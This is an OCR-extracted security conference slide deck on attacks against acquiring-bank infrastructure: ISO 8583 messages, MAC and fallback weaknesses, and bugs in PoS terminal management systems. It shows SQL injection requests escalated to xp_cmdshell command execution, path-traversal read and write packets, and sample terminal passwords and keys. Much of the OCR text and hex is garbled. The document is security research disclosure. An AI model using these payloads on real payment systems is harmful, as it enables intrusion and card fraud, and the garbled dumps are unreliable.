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Agenda

> Acquiring Infrastructure

> Acquiring Host

> |SO 8583

> PoS Terminal Management System (TMS)
> Attacks on Acquiring Infrastructure
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Acquiring infrastructure

Merchant Acquiring bank
***************** T
P . «{é} - Payment } .
) " g S Cateway - Payment Issuing

Ld
UL

E:a / = B : ~ System bank
==  Aequiing (5 =g S
~ g —M—CG)—1

T DU > m

PoS Terminal } —_—

Terminal Management
System (TMS)
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Acquiring Host

> Integral part of any acquiring bank, main gateway for transactions

> Receives requests from point of sales (terminals or e-commerce)

> Processes requests and route through Payment System to Issuing Bank
> Sends response back to point of sales

Acquiring bank Payment Issuing
Transaction Request System bank

2 Acquiring
~ Host

A

Transaction Request

A

Denied!
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Acquiring Host

Transaction types

There are a few transaction modes in EMV:.

> Contact Chip (Plug your card in terminal)

> Contactless Chip (Over NFC)

> Contactless MagStripe/MSD (Magnetic stripe emulation over NFC)
> Legacy MagStripe (Swipe magnetic stripe)
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ISO 8583

> Common protocol for interbank communication
> Antique protocol family

> 3 similar versions

> Dozens of slightly different dialects

Acquiring bank Payment Issuing
R System bank
ISO 8583 : Acg‘c‘)'s’;"g 1S0O 8583 1SO 8583

>

« >

(—)ﬁ) < 8
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ISO 8583

Secondary bitmask

MTI Primary bitmask T ,
(optional)

N EN N B

Version of ISO 8583 Class of Message Function of the

(Financial Transaction =~ Message (Request)

Request )

x1xx— Authorisation Message
x2xx— Financial Message

xx0x— Request
xx1x— Request Response

Oxxx— 150 8583:1987
Ixxx— SO 8583:1953
2xxx— SO 8583:2003 xx2x— Advice

xx3x— Advice Response
xx4x— Notification
xx8x— Response Ack.

xx8x— Negative Ack.

x3xx— File Action Message
x4xx— Reversal Message
x5xx— Reconciliation Message
x6xx— Administrative Message
x7xx— Fee Collection Message
x8xx— Network Management

Gleb Cherbov, llia Bulatov

Data Element #1

Who began the
communication
(Acquirer)

xxx0- Acquirer

xxx1— Acquirer Repeat
Xxx2— Issuer

Xxx3 — Issuer Repeat
xxx4 — Other

xxx5— Other Repeat
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ISO 8583

1508583 Data

~Lse lencth. 245 total len

MTI: Ox0200 Acquirer Financial Request

v bitmask 1
0111 0010 0010 0100 0000 0110 1000 0000 = Primary bitmask part 1: 1914963584 primary
sl tmarae TSRS sty Smeve Sy weedw wwmaar = FheZi Trpes(®y Eaeld 2 Primary account number (PAN)
oal BB cmonees Jupe myageie ESERey b s sy = TSRS REHELGE);  ETETEAS Processing code
cemtTe il e bl mysgmem deimley masnmimi mieweas -edmae. = FLL SR RERERERY | Fasligied Amount, transaction
windls e GEvE ANeES R ews sevee = BT Teues(Ey Field 7 Transmission date & time
solas sy e Bosm wees msssr = ERAEESERpei€l) Eaedd 13 System trace audit number (STAN)
iy ey D v e = Pheolbs FRHECAS Faeld T4 Expiration date
den cme emae = FL 222 True: (1) Field 22 Point of service entry mode
slle swda sves = Flei23s True: (1) Field 23 Application PAN sequence number
e Deived CepiEs addvs Seaiva Soesmv b wwces = Fhe2DE FruelGl) Eaeld 25 Point of service condition code
0010 0000 1100 0000 1000 0010 00O 0011 = Primary bitmask part 2: 549487107 primary
mom B i dun: mbmiimy mysgmem dmmimimy pmaskmini meimss -edmae, =l S5 SeEsiGaY  Exely 25 Track 2 data
5 Bovns saan RS W dad ddee = FL4T: Truen(l) Field 4% Card acceptor terminal identification
sras sy seave Aoy v wsnar = Eh22.Frpe (1) Eield 42 Card acceptor identification code
e W i s e = FloR9s Faues(1d Field 49 Currency code, transaction
..1. .... .... = FL 55: True (1) Field 55 ICC data € EMV having multiple tags

..1. = FL 63: True (1) Field 63 Reserved (private) / POS Terminal Software Version
..1 = FL 64: True (1) Field 64 Message authentication code (MAC)
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ISO 8583

Msg length: 245 total len
MTI: Ox0200 Acquirer Financial Request

~bitmask 1
Field: 44 9 PE; 2 Primary account number (PAN)
g - = DE: P on (Goods and Services) / Default unspecified
Field: 000000012300 DE: 4 Amount, transaction
Field: 0226132502 PE: 7 Transmission date & time
1eld. YU0033 DE. II System trace audi N)
Field: 2101 DE: 14 Expiration date
Field: 0072 DE: 22 Point of service entry mode PAN auto-entry via contactless M/Chip. / Terminal cannot accept PINs
Field: 0001 DE: 23 Application PAN sequence number This data is provided by smart card - EMV Tag 5F34.
Field:. 00 DE. 25 Point of service condition code Normal transaction of this tvpe
Field: 3434 393d32313031323031... DE: 35 Track 2 data a4 3=21012011683700000133
Field: 30 DE: 41  (Card acceptor terminal 1dentitication (%) ey
Field: 303030302020202020202020202020 DE: 42 Card acceptor identification code 0000
Field: 0643 DE: 49 Currency code, transaction
Field: 9f26084ecal894ceal276c912701809f101706011103a000... DE: 55 ICC data EMV having multiple tags

Eield- _2020: DE._A2 i S Terminal Software Version
Field: 777348c1 DE: 64 Message authentication code (MAC)

Gleb Cherbov, llia Bulatov

002
The weakest element of acquiring bank infrastructure LOCK EOWN

livestream




|MTI: 0x0210 financial request response
I v bitmask 1
0111 0010 0011 1000 0000 Q00O 00O VOO = Primary bitmask part 1: 1916272640 primary

$Wore suresen vevemine sy i wwiaas gueee: smsee ciRB 2% HRUE G195 AETeTd2 Primary account number (PAN)
b lonndurss: mkmnsss Rieiniet smibimimec moskmss, Sziseare. samiese R 3= iFRue Wiy JEaeldis Processing code
sl R W e WRERE e ses s = FE &2 TTrue (1) 'Fieldi4 Amount, transaction
aiaracs, meibes s SR ATl weedy msmair wanm =oBEE 7o iTrue (1): (Eield 7 Transmission date & time
Response coireize Suvany wieiles smsrey e sias gusseer s eiRE) LLRVRUE HGR): EleldNE; System trace audit number (STAN)
mimoim e mmeil mmie e e e cmeee, e = BL 325 Teue (1) Field:12 Local transaction time (hhmmss)
waves weie wwve Losd iy sew svves wesi ='FE 332 True (1) Field 323 Local transaction date (MMDD)
0000 1110 1000 0000 1000 0000 00OQ 0011 = Primary bitmask part 2: 243302403 primary
o Wors ovamine sy v e pumere: s iR S TRUe (GE): - EieldE37: Retrieval reference number
Sl ik miegsie Wanmieiel seemsms mamvess imimeims ssmense L. 382 Tpue iG1): : Eield:38 Authorization identification response
sl GEn vEea e s svdes swsi = RE 392 True (1) Fieldi39 Response code
winrecs reammenlienavs smeiae ATy weady e wanw =oBE Az True (1) Eield: 44 Card acceptor terminal identification
[ ) MTI 210 s lamaisies i eimsim s s e swien o FE A927True (1) Eield:i49 Currency code, transaction
teee eeee eeee waee aeee weee wew. .1 =FL 63: True (1) Field 63 Reserved (private) / POS Terminal Software Version
o ReSponSG COde OO CE el GRWA LD N suh Sy senle="FE 64 True (1) Field64 Message authentication code (MAC)
Y MAC Field: 44 9 DE: 2 Primary account number (PAN)
Field: 000000 DE: 3 Processing code Authorization (Goods and Services) / Default unspecified
Field: 000000012300 DE: 4 Amount, transaction
Field: 0226132126 DE:: 7 Transmission date & time
Field: 000036 DE: 11 System trace audit number (STAN)
Field: 132131 DE: 12 Local transaction time (hhmmss)
Field: 0226 DE: 13 Local transaction date (MMDD)
Field: DE: 37 Retrieval reference number
prirglge3 8303338330 Bl Gumiubivend 3 3 dnfor 3 response 893834
Field: 3030 DE: 39 Response code 00 Approved
FTETITSUSIST DE: 4l Cara acc ification 011
Field: 0643 DE: 49 Currency code, transaction
Liald. 20312 DE: 63 Reserved (private) / POS Terminal Software Versi
Field: 4444415e DE: 64 Message authentication code (MAC)
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ISO 8583 security

Message Authentication Code (MAC)

Integrity of ISO 8583 messages can be protected with MAC

Chip cards also protected with PKI and symmetric cryptography between card and
Issuing Bank

MAC is the only protection for magstripe transactions

Gleb Cherbov, llia Bulatov
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ISO 8583 security

Message Authentication Code (MAC)

What if MAC verification is disabled?
> Attacker can send fake payment requests for MagStripe cards

> Attacker can send reversal (refund requests)
for Contactless Chip and Acquiring bank
MagStripe

Transaction Acqu"lng

$ 20 purchase Request

Host
e
(—)
<«
Receipt with
RRN

Reversal request by
RRN without MAC

Gleb Cherbov, llia Bulatov
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ISO 8583 security

Technical Fallback

If (chip card isn’t operable)

use magstripe
} Case if Issuing Bank
and Acquiring bank
are the same
Forbidden to proceed Broken chip | l
by payment systems F——, —> 5 s, <2
but still exist — ]" 'T | T
> s LUl — 9l
Fallback to - P — Q N —
Mag Stipe k }

Case if Issuing Bank
and Acquiring Bank
have an agreement

Gleb Cherbov, llia Bulatov
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ISO 8583 security

Technical Fallback
Forbidden by Payment Systems
Scammers can use skimmed magstripe data

for fraud in case of enabled tech fallback
or to bypass protected chip transactions

Gleb Cherbov, llia Bulatov
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Terminal Management System (TMS)

Acquiring Acquiring

Host DB Acquiring bank

l: it | | ,

: I

- . . > |

— - i 000 —— | !
C Updates _ /j f @ ¢ 5 =00, . >
oan BT : < > vlllll (o] —l:‘ : L

] | I & i 0o — : ——
External Core " dlnt_er;al | : Administrator

— Service min Panel !

Configurations i I

] P : .

ooo < :

..... :

o '

i

H

Local DB
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TMS

PoS terminals

> Managing dozens of PoS terminals
> Updating Software

> Updating Configuration

> Updating keys

> Collecting logs and telemetry data

Gleb Cherbov, llia Bulatov

Manual

Remote

The weakest element of acquiring bank infrastructure

1001 Manufacture

ool Firmware

Vendor

E_;fé& Software

ﬁ Master Key
ﬁﬁﬁ Init configuration

and keys

@ TMS:

Software, config,

[ _oo] keys updates
LOG (SO} TMS:
» [ oY Collecting data
[ _oo] from PoS




TMS

Configurations

> Allowed PANs and limits for them
> Allowed operating modes

...<a lot of useless stuff>...

> Technical Fallback options

> |P address of Acquiring Host
> MAC settings for ISO 8583
> Passwords for Service Mode
> PoS keys

> Terminal ID

> PhySiCaI IOCation authMethod="Password" cardPAN="" password="9547" personld="1" role="Engineer"
authMethod="Password" cardPAN="" password="1111" personld="2" role="Cashier"
authMethod="Password" cardPAN="" password="9216" personld="3" role="Senior"

Gleb Cherbov, llia Bulatov
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TMS

PoS keys

TPK — Terminal PIN encryption Key
TAK — Terminal MAC calculating Key
TDK — Terminal Data encryption Key

TMK — Terminal Master Key

Keys in config files are useless, they’re encrypted with TMK

In most cases you can do nothing without TMK.
TMK is places to PoS terminal at early stages.

"1" keyRole="TPK" keyType="3DES" keyValue="11F053F6C378BA27BF5C1D5260693DEQ"
"2" keyRole="TAK" keyType="3DES" keyValue="4F803371EA475C6F70D3A7AAD58B514D"
"3" keyRole="TDK" keyType="3DES" keyValue="EB1OD5A7E85BC075416BA98FE56B41C1"

Gleb Cherbov, llia Bulatov
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TMS

Protocols

We explored 3 TMS protocols:

2 of them — custom file based protocols (FTP analog)
1 of them — HTTP based with API

All protocols support TLS, but...

Gleb Cherbov, llia Bulatov
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TMS

Lack of TLS?

Insecure transport channel:

> Custom protocols are used without TLS
> TLS with self-signed certificate

> TLS certificate isn’t verified at PoS

Modified '
— : Config
d: Config N e
® ? ‘z :”

Problem: = EST m 30
Hard to implement TLS mn o
everywhere Insecure channel 1 o6

PoS Hacker Terminal Management

System (TMS)

Gleb Cherbov, llia Bulatov
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TMS

Vendor Alpha

HTTP Service + Self Signed Certificate (not pinned)
OS: Windows

Typical WEB vulnerabilities:
> Directory Index
> SQL Injections

> RCE via SQL Injection
> File Read via SQL Injection

Gleb Cherbov, llia Bulatov
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TMS

Vendor Alpha

Directory Index allowed T
us to download configs | -
and .NET compiled
binaries

3827 bank.xml
2680 bank .xml
3630
<dir> bin
214918 config.xml
<dir>
<dir> ConfigurationsPath
388719 definition.xml
911 pipemsg.xml
259 RestService.log
125 RestServicelmpl.svc
5250 station.xml
64991 unins000.dat
725929 unins000.exe
153 update.xml
6595 Web.config
<dir> WebArchivePath
190057 work config.xml

Gleb Cherbov, llia Bulatov
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TMS

Vendor Alpha

SQL Injection (Microsoft SQL Server)

Request 15

jal Headers l Hex l _[Ew] Headers 1 Hex ] HTML [ Render |

GET A border-right: 2px white solid; border-bottom: 2px white solid: font-weight: bold;
GetSetting/0011345')and(l= (SELE o background-color: #cecf9c:;} table td { border-right: 2px white solid: border-bottom: 2px

CTSZOCONCAT('[[', (SELECT%20Q@@version),']]'))) == HTTP/L.1 white solid; background-color: HeSeScce;}</styles

Host: </ hesad>

Accept: */* y

Accept-Encoding: gzip, detlace <div

id="concent'">
<p class="h=adingl">Oumbxka sampoca</p>
*xmins="">Jipx obpaborxe cepnepoM sanpoca sosmuxna oumbra. ChnejeMus 0 NOCTPOCMMM
JAOMYyCTHMEIX Sanpocos K cayxbe cM. Ha <a rel="help-page"
href=" ">cTpanmue cnpaBKH
cnyxbri</ a>. Coobmwerme o6 mcrmwvermst: "ERROR [22018] [Microsoft] [ODBC SQL Server Driver] [SQL

Server]Conversion failed when converting the nvarchar value '[[Microsoft SQL Server 2012 -
11.0.2100.60 (X64)

Feb 10 2012 19:39:15
Copyright (c) Microsoft Corporation
Standard Edition (64-bit) on Windows NT 6.2 L1t ;X64&gt;: (Build 9200:

]J]' to data type int.". JlonmomHMTeNbHEIEe CBEJEHMH CM. B XypHane ceppepa.
MCKIKHYEeHMM: </p>

Connection: close

) (Hypervisor)
Tpaccuposka crexa

Gleb Cherbov, llia Bulatov
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TMS

Vendor Alpha

Upgrading SQL Injection to File Read using some info from decompiled .NET binary

R

Request Response

l Raw I Headers I Hex l l Raw l Headers I Hex ] Protobuf I

GET A HTTP/1.1 200 OK
GetFile/01082018l1l'and'1l'='1'%20 - Cache-Control: private

UNION%ZOALLSZO0SELECT%Z0CONCAT('C' ,CHAR(58) ,CHAR(S2),'Windows' ,CH Content-Type: application/octet-stream

AR(92),'win.ini')--/win.ini HTTP/1l.1l Server: Microsoft-11S5/8.5

Host: X-AspNet-Version: 4.0.30318

Accept: */* X-Powered-By: ASP.NET

Accept-Encoding: gzip, deflate Date: Tue, 05 Mar Z01S 15:53:49 GMT

Connection: close Connection: close

Content-Length: 92

; for 1leé-bit app support
[fonts]

[extensions]

[mci extensions]

[files]

[Mail]

MAPI=1

Gleb Cherbov, llia Bulatov
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TMS

Vendor Alpha

Upgrading SQL Injection to RCE using xp_cmdshell:

GET <..>/GetFile/010820181'and'1l'="1"+EXEC+sp_configure+'show+advanced+options’,1--
GET <..>/GetFile/010820181'and'1'="1"+RECONFIGURE- -

GET <..>/GetFile/010820181'and'1'="1"+EXEC+sp configure+'xp cmdshell’,1--

GET <..>/GetFile/010820181'and'1'="1"+RECONFIGURE- -

GET <..>/GetFile/010820181'and'1'="1"+EXEC+xp cmdshell+'ping+rce-test, *¥*&x*" __

(¢ )

O C oo

proxying the response of type 'AAAA' for rce-test
proxying the response of type 'AAAA' for rce-test
proxying the response of type 'AAAA' for rce-test.
proxying the response of type 'AAAA' for rce-test.
proxying the response of type 'DNSKEY' for

proxying the response of type 'AAAA' for rce-test
proxying the response of type 'AAAA' for rce-test

(2
(2
(2
(2
(2
(2
(2

OO ODODODO OO
Pod fd P pued pud ped ped

(oo

Gleb Cherbov, llia Bulatov
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TMS

Vendor Alpha

Using these vulnerabilities, we were able to:

Conduct a MiTM attack on PoS Terminal and modify configuration
Download files from TMS

Modify files on TMS, including config files for other PoS (SQL Server located
on TMS)

Expand the attack on internal services

1
2
3

N N e’

=

Gleb Cherbov, llia Bulatov
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TMS

Vendor Bravo

Custom protocol (file based, FTP analog)
TLS disabled (but in general TLS is supported)
OS: Windows

Bugs found:
> File read (path traversal)
> File write (path traversal)
> Excess privileges (NT/Authority System)

Gleb Cherbov, llia Bulatov
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TMS

Vendor Bravo

Initial requests: File is transferred by filename:

APRRERRR BS5 ) PPPR11EB ©2 6d 00 19 02 @0 33 35 3d 01 00 30 43 01 00 31  ...... 35 =..0C..1
ooea0000 02 6d 88 19 62 66 33 31 Sm....31 00002121 02 2d 90 19 02 90 35 34 3c 25 00 30 31 31 32 33 cme...54 <%.01123
23866816 31 32 33 31 38 33 3e 01 123183>. ©00002131 31 38 33 2f 32 30 31 39 2e 30 32 2e 31 39 S5f 30 183/2019 .02.19 0
2006000826 60 30 41 62 88 32 34 59 B4, . 24Y ‘ 00002141 30 2e 35 30 2e 31 32 2f 4c 4f 47 53 2e 5a 49 50 9.50.12/ LOGS.ZIP
00800836 30 46 3c 80 6d 61 78 58 61 63 6b 65 74 53 B9 7a BF<.maxP acketSiz POBO11FB ©2 09 00 19 02 00 35 34 43 01 00 31 0 L..iee. - o S |
00000840 65 3e 31 30 31 30 30 3b 63 6c 69 65 be 74 3e 31 e>18188; client>1 00002151 02 35 00 19 82 80 33 35 3c 25 @8 30 31 31 32 33 B35 591123
00000852 3b 61 64 76 Bl Be 63 B5 64 jadvance d 00002161 31 38 33 2f 32 30 31 39 2e 30 32 2e 31 39 5f 30 183/2019 .02.19_ 0
86668860 : 3e 41 44 39 39 32 42 38 35 [ = > ADO92BB5 00882171 30 2e 35 30 2e 31 32 2f 4c 4f 47 53 2e 5a 49 50 0.50.12/ LOGS.ZIP
00000870 64 fc d. 00002181 40 @1 20 30 41 01 ee 32 @..0A..2

opoepeel O . 00001207 ©2 11 00 19 02 00 33 35 3d 05 00 31 31 36 30 34 ...... 35 =..11604

00e6EBE2 62 69 60 19 82 60 33 31 43 81 @8 38 0000000 L..... 31 C..8 00001217 43 01 00 30 B
B0eRes2 02 14 69 19 82 68 35 34 3c 6c @9 36 31 31 32 33 ...... 54 <..081123 00002189 ©2 20 27 19 02 00 33 37 3d @5 00 31 31 36 30 34 e " see37 =..11604
00000082 31 38 33 2¢ 64 69 72 183.dir 00002199 46 10 27 50 4b 03 04 14 00 ©2 00 08 00 00 00 20 i . SR

BOBORBBE ©2 69 60 19 V2 66 35 34 43 61 e 31 920000000 L..... 54 C..1 ©0B021A9 00 44 3f a7 76 35 14 00 00 f1 af 90 00 0a 00 00 DTS, rriesnnns
DODBOAES 62 1c & 19 82 8B 33 35 3c 6c @@ 30 31 31 32 33 ...... 35 <..81123 @eeR21B9
00000099 31 38 33 2e 64 69 72 40 Ol 00 30 41 81 00 32 183.dirfl ..@A..2 @@@E@21C9 46 1c 37 86 f1 Ga 94 @8 30 el 91 26 9a b6 69 79 F.7..... 0..&. .1y

fBBEER1A ©2 10 60 19 82 60 33 35 3d @4 @80 35 37 30 380 43  ...... 35 =..5788C

geeaeBR2A 81 B8 38 . .8
000000AE ©2 07 1d 19 82 68 33 37 3d 64 88 35 37 30 380 46  ...... 37 =..578ar
APeeeEBE T8 1c 3c 42 6c 6T 63 6b 3e B8d Ba 43 68 65 63 6b ..<Block »..Check

geeesaCs 73 75 bd 3d 32 46 45 37 41 34 36 43 41 34 35 34 sum=2FE7 A46CA454
@eeaeaDs 39 39 44 46 31 33 33 33 32 44 38 37 44 46 38 36 99DF1333 2De7DFee

Gleb Cherbov, llia Bulatov
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TMS

Vendor Bravo

Reverse engineering the protocol

> Packet Length

> TLV Structure (Tag-Length-Value)
> TLV #1 - Packet Type

> TLV #2 - Filename

Struct #1 TLV Struct #2

-

First Packet Tag: 0x3c
byte Length Length: 25 bytes
‘ Value: 30 31 31

00000000 02 35 80 1962 ©0'232 35 @é:;; 00'30 31 31 32

33 B -5....35<%.01123
00000010 31 38 33 2F 32 30 31 39 2E 30 32 2E 31 39 5F 30 183/2019.02.19_0
00000020 30 2E 35 30 2E 31 32 2F 4C 4F 47 53 2E 5A 49 50 0.50.12/L0GS.ZIP
00000030 40 01 00 30 41 01 00 32 00 00 00 60 00 600 00 00 @..0A..2
0000OE40 00 00|00 GO OO0 00 00 00 00 0O 00 GO0 OO0 6O GO 00

TLV Struct

Gleb Cherbov, llia Bulatov
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TMS

Vendor Bravo

Some of TLV tags:

0x02 - Chunk part

0x19 — Request type (TLV #1)
Ox3c — Filename

Ox3f — Terminal ID

Ox44 — File length

0x45 - File MD5 value

Ox3d — Session for file transfer

Gleb Cherbov, llia Bulatov
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TMS

Vendor Bravo

We discovered a few types of packets for TLV #1
Some of them:

31 — Init session request

35 — Init file transferring

36 — File MD5 hash request (for file read)
37 — File Data (for file write)

38 — Request file read

39 — Request file write

Gleb Cherbov, llia Bulatov
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TMS

Vendor Bravo

How it works?

Transfer file request
(Filename, Type 35)

TCP session has been established

<
------------------------ Set session to XXXX
0x05 byte (OK)
< =
_— > L File Transfer Session XXXX has i @
Info packet with Terminal i @ ] been established
D ID (Type 31) ann """""""""""""" “l“ O
ooo nn oo} AL
T 0x06 byte (OK) 5 | I Request file MD5 i 00
S | KX < i 00 - — (Type 36) 5
. ACK for Type 31 Terminal < -
Terminal < TMS Server File MD5 value TMS Server
123456 123456
TMS session has been established Read file
........................... (Type 38)
>
<
File DATA

Gleb Cherbov, llia Bulatov
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TMS

Vendor Bravo

How it looks on TMS Server (Directory structure)
Every terminal has its own directory (100001,...)

Directory name with Terminal ID

OS: Windows

Gleb Cherbov, llia Bulatov
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config.txt
firmware.bin
10g01022018.txt
logo. bmp

config.txt

firmware.b

1o0g01022018
logo. bmp
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TMS

Vendor Bravo

So, we can control filename for both reading and writing.

Try Path Traversal where filename is controlled.

S \Windows\win.ini

Gleb Cherbov, llia Bulatov
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TMS

Vendor Bravo

Path Traversal Reading

00Be0Re72 082 3a 00 19 82 88 33 35
00BBRR82 5c 2e 2e 5c 2e 2e 5c 2e
0000092 2e 2e S5c 2e 2e 5¢ 57 69
0000BBA2 6e 2e 69 6e 69 40 91 00
POOOOORE 02 10 00 19 02 00 33
ODORR1E 01 00 30
OCOOOBAF ©2 Oc 00 19 82 88 33 36
20000021 ©2 1d 20 19 02 00 33
20008031 23 cf 81 38 f4 94 16
O000GRBE ©2 11 €0 19 82 00 33 38
0B00BRBCE 82 80 39 32
00000R4]1 ©2 68 00 19 82 88 33
90000851 20 66 6T 72 20 31 36
P000eR61 73 75 70 70 6f 72 74
P0PROR71 ©d Pa Sb 65 78 74 65
20000881 Sb 6d 63 69 20 65 78
20002091 ©Od @a Sb 66 69 6¢c 65
P0PPRRA1 5d ©d @a 4d 41 50 49

Gleb Cherbov, llia Bulatov

3€
2e
Ge
31
35

3d
36
23
3d

38
2d
ed
6e
74
73
3d

2a 08 2e 2e 5c 2e 2e
5¢c 2e 2e 5c 2e 2e 5c
64 6f 77 73 5¢c 77 69
41 01 60 31

3d 24 @0 33 30 31 36

@4 9@ 33 30 31 36

44 92 00 39 32 45 10
18 @7 e6 de 37 1f b9
84 80 33 3@ 31 36 44

43 91 90 30 46 S5c 00
62 69 74 20 61 70 70
Pa Sb 66 6T 6e 74 73
73 69 6T 6e 73 5d ed
65 6e 73 69 6T 6e 73
5d @d @a Sb 4d 61 69
31 ed ea

cte.ss.35 <*. 0NN
NoaN ey —
«o\. . \Wi ndows\wi
n.ini@.. 1A..1

Request
Windows\win.ini

43 i 35 =.[3016c— Session 3016
..0
...... 36 =..3016
. I 36 D..92E
e6 HOBIH LN — win.ini MD5 hash
...... 38 =..3@16D

3b  .h....38 C..0F\.;
20 for 16- bit app

5d t. .[font iy gs Vi s
SREREN: [ons]_-w1n.1n1 file!

Pa ..[exten sions]..

5d [mci ext ensions]

6c ..[files ]..[Mail
]..MAPI= 1..

The weakest element of acquiring bank infrastructure
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TMS

Vendor Bravo ©00000D2 ©2 53 00 19 02 @0 33 35 3c 43 @0 2e 2e 5c 2e 2e  .S....35 <C.UUNWL

ODORBBE2 5c 2e 2e 5c 2e 2e 5¢c 2e 2e 5c 2e 2e 5c 2e 2e S5c AL\ AL ALY Request
P0BOBOF2 2e 2e S5c 2e 2e 5c 2e 2e 5c 2e 2e S5c 2e 2e 5c 57 N s o) Grph ot :
00000102 69 6e 64 6f 77 73 5c 54 45 53 54 S5 50 41 54 48  Endows\T EST.PATH . . \Windows \TEST.txt
i 00000112 5f 54 52 41 56 45 52 53 41 4c 2e 74 78 74 40 01 [ TRAVERS AL.txt@.
Path Traversal ertlng 00000122 00 30 41 01 00 32 .BA..2
0O0PRPRAC ©2 10 02 19 02 0@ 33 35 3d 04 00 34 34 38 30 43  ...... 35 =.14488c — Session 3016
@00000BC 01 00 30 ..0
00000128 ©2 35 00 19 02 00 33 37 3d 04 00 34 34 38 30 46  .5....37 =..4480F
00000138 26 @8 54 48 49 53 20 49 53 20 50 41 54 48 20 54 &.THISISPATHT — ___ |rite data to file
00000148 52 41 56 45 52 53 41 4c 20 54 45 53 54 2e 20 31 RAVERSAL TEST. 1
00000158 32 33 34 35 36 37 38 39 23456789
OODOOOBF ©2 Ge 00 19 02 00 33 37 43 01 00 30 44 02 00 33  ...... 37 C..9D..3
@ORRRRCF 38 8
00000160 ©2 Oc 90 19 02 00 33 39 3d 04 00 34 34 3830 @ ...... 39 =..4480
PO0VO16F ©2 4a 00 19 @2 00 33 35 3c 3a 00 2e 2e 5c 2e 2  .J....35 <:...\..
OBPOBL7F 5c 2e 2e S5c 2e 2e 5c 2e 2e 5c 2e 2e 5c 2e 2e 5¢  N..\.oh. GANLGNLN Request
@BOOOLSF 2e 2e S5c 2e 2e 5c 57 69 6e 64 6f 77 73 S5c 54 45 LUN..\Wi ndows\TE ..\Windows\TEST.txt
@0OOO19F 53 54 5 50 41 54 48 5f 54 52 41 56 45 52 53 41 ST PATH_ TRAVERSA
GOOOOLAF 4c 2e 74 78 74 40 01 00 31 41 01 00 31 LUExt@. . 1A..1
@00000D0 ©2 10 00 19 92 00 33 35 3d 04 00 34 34 38 30 43  ...... 35 =..4480C
GOOOORED 01 00 30 ..0
PO00O1BC ©2 Oc 90 19 02 00 33 36 3d 94 00 34 34 3830  ...... 36 =..4480
GPAOORE3 ©2 1d 00 19 02 00 33 36 44 02 00 33 38451000 ...... 36 D..38E..
@0PPPOF3 bb al 54 ST 4f 9e c8 5a 56 49 81 fc 3b 92 94 30 [T ON.ZVI.i;i@ — TEST.txt MD5 hash
@000O1CE ©2 11 00 19 02 00 33 38 3d 04 00 34 34 38 30 44  ...... 38 =..4480D
000001DE ©2 00 33 38 ..38

00000103 ©2 32 00 19 02 00 33 38 43 01 00 30 46 26 00 54 .2....38 C..0F&.T
00000113 48 49 53 20 49 53 20 50 41 54 43 20 54 52 41 56 HIS IS P ATH TRAV — TEST.txt file!
@0000123 45 52 53 41 4c 20 54 45 53 54 2e 20 31 32 33 34 [ERSAL TE ST. 1234

Gleb CherbOV, llia Bulatov 20000133 35 36 37 38 39 Rl
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TMS

Vendor Bravo

We discovered TMS service was launched with NT/Authority System.
So, using these vulnerabilities, we were able to:

Conduct a MiTM attack on PoS Terminal and modify configuration
Download any files from TMS server

Write any files on TMS server

Achieve RCE using DLL Hijacking or rewriting service files
Expand the attack on internal services

OB WN -
~— N N N N

Gleb Cherbov, llia Bulatov
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TMS

Vendor Charlie

Similar to Vendor Bravo:

Custom protocol (file based, FTP analog)
TLS disabled (but in general TLS is supported)
OS: Windows

Bugs found:
> File read (path traversal)
> File write (path traversal)
> Excess privileges (NT/Authority System)

Gleb Cherbov, llia Bulatov
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TMS

Vendor Charlie

Vendor Charlie protocol:
> zl_t))/teg Header 00000181 @1 40 48 08 53 45 56 42 52 43 42 6b 62

90000191 62 47 39 68 5a 43 35 6a 5a 32 6b 2f 5a

[
w
o
B

75
73

o
Q.
o
N

HEAD download.cgi?file=bmp01114669

> Baseb64 data @BOBO1AL Sa 54 31 69 62 58 41 77 4d 54 45 78 4e 44 59 32 D ffset=0
. @00001B1 4f 53 Sa 3@ 65 58 42 6c 50 54 41 6d 62 32 S5a 6d

> LOOkS ||ke HTTP @00001C1 63 32 56 30 50 54 43 41 6d 41 3d 3d =
000008C8 @1 4@ 6¢c 2c 4d 6a 41 77 51 32 39 75 64 47 56 jAw Q29udGVu
000008D8 64 43 31 54 53 45 45 78 4f 6b 51 31 4f 55 52 43  dCITSEEx OkQ1LOURC 200
@00008ES 4f 45 4d 3@ 52 55 Sa 44 4d 45 45 30 4e 44 55 31  OEMORUZD MEE@NDUL Content-SHA1:D59DB8CAEFCOA4455573A
@00008F8 4e 54 63 7a 51 54 56 43 4e 44 51 7a 4e 7a 67 77 NTczQTVC NDQzNzgw  5B44378000E0835342¢
00000908 4d 44 42 46 4d 44 67 7a 4e 54 4d 30 4d 6a 41 4b  MDBFMDgz NTMEMAK Content-Length:6734

PP0Be918 51 32 39 75 64 47 56 75 64 43 31 4d 5a 57 35 6e  Q29udGVu dCIMZWSn
P0PR928 64 47 67 36 4e 6a 63 7a 4e 41 6f 4b 65 74 49 3d  dGg6Njcz NAoKetI=
@00001CD ©1 40 44 94 52 30 56 55 49 47 52 76 64 32 35 73  .@D.R@VU IGRvd2Ss
P00001DD 62 32 46 6b 4c 6d 4e 6e 61 54 39 6d 61 57 78 6c  b2FkimNn aT9makix] GET download.cgi?file=bmp01114669
@OOOOLED 50 57 4a 74 63 44 41 78 4d 54 45 30 4e 6a 59 35 P , ; &1
@OBOOLFD 4a 6e 52 35 63 47 55 39 4d 43 S5a 76 5a 6d S5a 7a
@000020D S5a 58 51 39 4d 43 43 4f QOMCCC
@0000938 @1 67 7c 1b 4d 6a 41 77 51 6b 31 4f 47 67 41 .g| -MjAw Qk10GgAA
00000943 41 41 41 41 41 44 34 41 41 41 41 6f 41 41 41 41  AAAAADAA AAACAAAA
9000958 65 41 45 41 41 49 73 41 41 41 41 42 41 41 45 41  eAEAATsSA AAABAAEA
00000968 41 41 41 41 41 42 41 61 41 41 41 53 43 77 41 41 AAAAABAa ABASCWAA & rrrrrrrressssseaas

(VI
+
e
|

00000978 45 67 73 41 41 41 41 41 41 41 41 41 41 41 41 41  EgsAAAAA AAAAAAAA — ... <FILE_DATA>....
00000988 41 41 41 41 41 50 2f 2f 2f 77 41 41 41 41 41 41  AAAAAP// /WARAAAA  +reeccsaranaanaanas
00000998 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAA AAAAAAAA L..aeaesessrasaanas

AnnnnnAn AAsANAAN AasAAAAS

Gleb Cherbov, llia Bulatov
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TMS

Vendor Charlie

Reverse engineering the protocol

Tag 0x08 Length 72
1 |

> Base64 Request

> 3-byte Tag (Type) Magic
> 10-bit Length Byte |
> HTTP-like 00000040 101 40
> fi i 00000050 62 47
